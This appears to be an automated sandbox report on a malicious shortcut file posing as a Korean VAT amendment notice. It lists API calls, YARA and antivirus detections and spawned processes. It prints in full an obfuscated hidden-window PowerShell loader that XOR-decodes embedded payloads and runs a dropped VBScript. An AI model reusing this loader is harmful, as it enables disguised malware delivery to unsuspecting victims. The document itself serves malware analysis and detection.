NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a71000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a72000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a73000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a74000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a75000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a76000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a77000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a78000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a79000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a81000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a82000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a83000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a84000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Roaming\HNC\Office\Recent\Temp.folder.lnk
file	C:\Users\test22\AppData\Roaming\HNC\Office\Recent\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk

Creates a shortcut to an executable file (4 events)

file	C:\Users\test22\AppData\Roaming\HNC\Office\Recent\Temp.folder.lnk
file	C:\Users\test22\AppData\Roaming\HNC\Office\Recent\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk
file	C:\Users\test22\AppData\Local\Temp\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk
file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

"C:\Windows\system32\cmd.exe" /c p^owe^rshe^l^l -windowstyle hidden function hyroGAN{param($gRRXdaln); $SEXiGo=Get''-C\"\"h''ild''I\"\"t\"\"e\"\"m -Path $gRRXdaln -Recurse *.lnk ^| wh\"\"er\"\"e\"\"-o\"\"bje''ct {$_.length -eq 0x03EE569C} ^| Sel''ect''-O\"\"bj\"\"e\"\"ct -ExpandProperty FullName; return $SEXiGo;};function DGTZUkn{param($FjFfNJyV,$NVUYZYa,$uJMIAV,$OPURoQ,$JiOPSEnH); $KhPAKsCs=New\"\"-Ob''jec\"\"t System.IO.FileStream($FjFfNJyV,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read); $KhPAKsCs.Seek($NVUYZYa,[System.IO.SeekOrigin]::Begin); $MlqewZMb=Ne\"\"w\"\"-O''bj\"\"e''ct byte[] $uJMIAV; $KhPAKsCs.Read($MlqewZMb,0,$uJMIAV); $KhPAKsCs.Close();for($PKVgpCbI=0;$PKVgpCbI -lt $uJMIAV;$PKVgpCbI++){$MlqewZMb[$PKVgpCbI]=$MlqewZMb[$PKVgpCbI] -bxor $OPURoQ;}sc $JiOPSEnH $MlqewZMb -Encoding Byte;};$JQCcrJ=Get\"\"-Lo\"\"c\"\"at''io\"\"n;$qurxYiEA=hyroGAN -gRRXdaln $JQCcrJ;if($qurxYiEA.length -eq 0){$qurxYiEA=hyroGAN -gRRXdaln $env:Temp;} $JQCcrJ=S''p\"\"lit\"\"-Pa\"\"t\"\"h $qurxYiEA;$TweLdPR = $qurxYiEA.substring(0,$qurxYiEA.length-4) + '';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00001C90 -uJMIAV 0x00011A00 -OPURoQ 0x68 -JiOPSEnH $TweLdPR;^& $TweLdPR;$LhwhYhz=$env:public + '\' + 'gRRXda.cab';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00013690 -uJMIAV 0x00013CD2 -OPURoQ 0x03 -JiOPSEnH $LhwhYhz;Rem\"\"ov''e''-I''t''em -Path $qurxYiEA -Force;expand $LhwhYhz -F:* ($env:public + '\' + 'documents');re\"\"mo''ve-\"\"i\"\"te\"\"m -path $LhwhYhz -force;$jHoteEl=$env:public+'\documents\start.vbs';^& $jHoteEl;

cmdline

powershell -windowstyle hidden function hyroGAN{param($gRRXdaln); $SEXiGo=Get''-C\"\"h''ild''I\"\"t\"\"e\"\"m -Path $gRRXdaln -Recurse *.lnk | wh\"\"er\"\"e\"\"-o\"\"bje''ct {$_.length -eq 0x03EE569C} | Sel''ect''-O\"\"bj\"\"e\"\"ct -ExpandProperty FullName; return $SEXiGo;};function DGTZUkn{param($FjFfNJyV,$NVUYZYa,$uJMIAV,$OPURoQ,$JiOPSEnH); $KhPAKsCs=New\"\"-Ob''jec\"\"t System.IO.FileStream($FjFfNJyV,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read); $KhPAKsCs.Seek($NVUYZYa,[System.IO.SeekOrigin]::Begin); $MlqewZMb=Ne\"\"w\"\"-O''bj\"\"e''ct byte[] $uJMIAV; $KhPAKsCs.Read($MlqewZMb,0,$uJMIAV); $KhPAKsCs.Close();for($PKVgpCbI=0;$PKVgpCbI -lt $uJMIAV;$PKVgpCbI++){$MlqewZMb[$PKVgpCbI]=$MlqewZMb[$PKVgpCbI] -bxor $OPURoQ;}sc $JiOPSEnH $MlqewZMb -Encoding Byte;};$JQCcrJ=Get\"\"-Lo\"\"c\"\"at''io\"\"n;$qurxYiEA=hyroGAN -gRRXdaln $JQCcrJ;if($qurxYiEA.length -eq 0){$qurxYiEA=hyroGAN -gRRXdaln $env:Temp;} $JQCcrJ=S''p\"\"lit\"\"-Pa\"\"t\"\"h $qurxYiEA;$TweLdPR = $qurxYiEA.substring(0,$qurxYiEA.length-4) + '';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00001C90 -uJMIAV 0x00011A00 -OPURoQ 0x68 -JiOPSEnH $TweLdPR;& $TweLdPR;$LhwhYhz=$env:public + '\' + 'gRRXda.cab';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00013690 -uJMIAV 0x00013CD2 -OPURoQ 0x03 -JiOPSEnH $LhwhYhz;Rem\"\"ov''e''-I''t''em -Path $qurxYiEA -Force;expand $LhwhYhz -F:* ($env:public + '\' + 'documents');re\"\"mo''ve-\"\"i\"\"te\"\"m -path $LhwhYhz -force;$jHoteEl=$env:public+'\documents\start.vbs';& $jHoteEl;

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW June 27, 2024, 5:13 p.m.	thread_identifier: 2876 thread_handle: 0x00000084 process_identifier: 2872 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -windowstyle hidden function hyroGAN{param($gRRXdaln); $SEXiGo=Get''-C\"\"h''ild''I\"\"t\"\"e\"\"m -Path $gRRXdaln -Recurse .lnk \| wh\"\"er\"\"e\"\"-o\"\"bje''ct {$_.length -eq 0x03EE569C} \| Sel''ect''-O\"\"bj\"\"e\"\"ct -ExpandProperty FullName; return $SEXiGo;};function DGTZUkn{param($FjFfNJyV,$NVUYZYa,$uJMIAV,$OPURoQ,$JiOPSEnH); $KhPAKsCs=New\"\"-Ob''jec\"\"t System.IO.FileStream($FjFfNJyV,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read); $KhPAKsCs.Seek($NVUYZYa,[System.IO.SeekOrigin]::Begin); $MlqewZMb=Ne\"\"w\"\"-O''bj\"\"e''ct byte[] $uJMIAV; $KhPAKsCs.Read($MlqewZMb,0,$uJMIAV); $KhPAKsCs.Close();for($PKVgpCbI=0;$PKVgpCbI -lt $uJMIAV;$PKVgpCbI++){$MlqewZMb[$PKVgpCbI]=$MlqewZMb[$PKVgpCbI] -bxor $OPURoQ;}sc $JiOPSEnH $MlqewZMb -Encoding Byte;};$JQCcrJ=Get\"\"-Lo\"\"c\"\"at''io\"\"n;$qurxYiEA=hyroGAN -gRRXdaln $JQCcrJ;if($qurxYiEA.length -eq 0){$qurxYiEA=hyroGAN -gRRXdaln $env:Temp;} $JQCcrJ=S''p\"\"lit\"\"-Pa\"\"t\"\"h $qurxYiEA;$TweLdPR = $qurxYiEA.substring(0,$qurxYiEA.length-4) + '';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00001C90 -uJMIAV 0x00011A00 -OPURoQ 0x68 -JiOPSEnH $TweLdPR;& $TweLdPR;$LhwhYhz=$env:public + '\' + 'gRRXda.cab';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00013690 -uJMIAV 0x00013CD2 -OPURoQ 0x03 -JiOPSEnH $LhwhYhz;Rem\"\"ov''e''-I''t''em -Path $qurxYiEA -Force;expand $LhwhYhz -F: ($env:public + '\' + 'documents');re\"\"mo''ve-\"\"i\"\"te\"\"m -path $LhwhYhz -force;$jHoteEl=$env:public+'\documents\start.vbs';& $jHoteEl; filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000088	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW June 27, 2024, 5:13 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline

File has been identified by 17 AntiVirus engines on VirusTotal as malicious (17 events)

Symantec	CL.Downloader!gen20
Avast	LNK:Agent-IL [Trj]
Cynet	Malicious (score: 99)
Kaspersky	HEUR:Trojan.WinLNK.Powecod.c
Rising	Trojan.PSRunner/LNK!1.F965 (CLASSIC)
F-Secure	Malware.LNK/Dldr.Agent.VPYE
Sophos	Mal/PowLnkObf-D
Google	Detected
Avira	LNK/Dldr.Agent.VPYE
ZoneAlarm	HEUR:Trojan.WinLNK.Powecod.c
Varist	LNK/ABTrojan.WULE-
AhnLab-V3	Trojan/LNK.PowerShell.S2453
VBA32	Trojan.Link.Crafted
SentinelOne	Static AI - Suspicious LNK
Fortinet	LNK/Agent.NWV!tr
AVG	LNK:Agent-IL [Trj]
alibabacloud	Trojan[downloader]:Win/Powecod.c

One or more non-whitelisted processes were created (4 events)

parent_process	powershell.exe	martian_process	"C:\Program Files (x86)\Hnc\Hwp80\Hwp.exe" "C:\Users\test22\AppData\Local\Temp\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp"
parent_process	powershell.exe	martian_process	"C:\Windows\system32\expand.exe" C:\Users\Public\gRRXda.cab -F:* C:\Users\Public\documents
parent_process	powershell.exe	martian_process	"C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"
parent_process	powershell.exe	martian_process	C:\Users\test22\AppData\Local\Temp\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2636 resumed a thread in remote process 2764
NtResumeThread June 27, 2024, 5:13 p.m.	thread_handle: 0x00000334 suspend_count: 1 process_identifier: 2764	1	0	0

Creates a suspicious Powershell process (1 event)

option

-windowstyle hidden

value

Attempts to execute command with a hidden window

The processes powershell.exe, wscript.exe wrote an executable file to disk which it then attempted to execute (23 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Program Files (x86)\Hnc\Hwp80\Hwp.exe
file	C:\Windows\System32\expand.exe
file	C:\Windows\SysWOW64\wscript.exe

부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All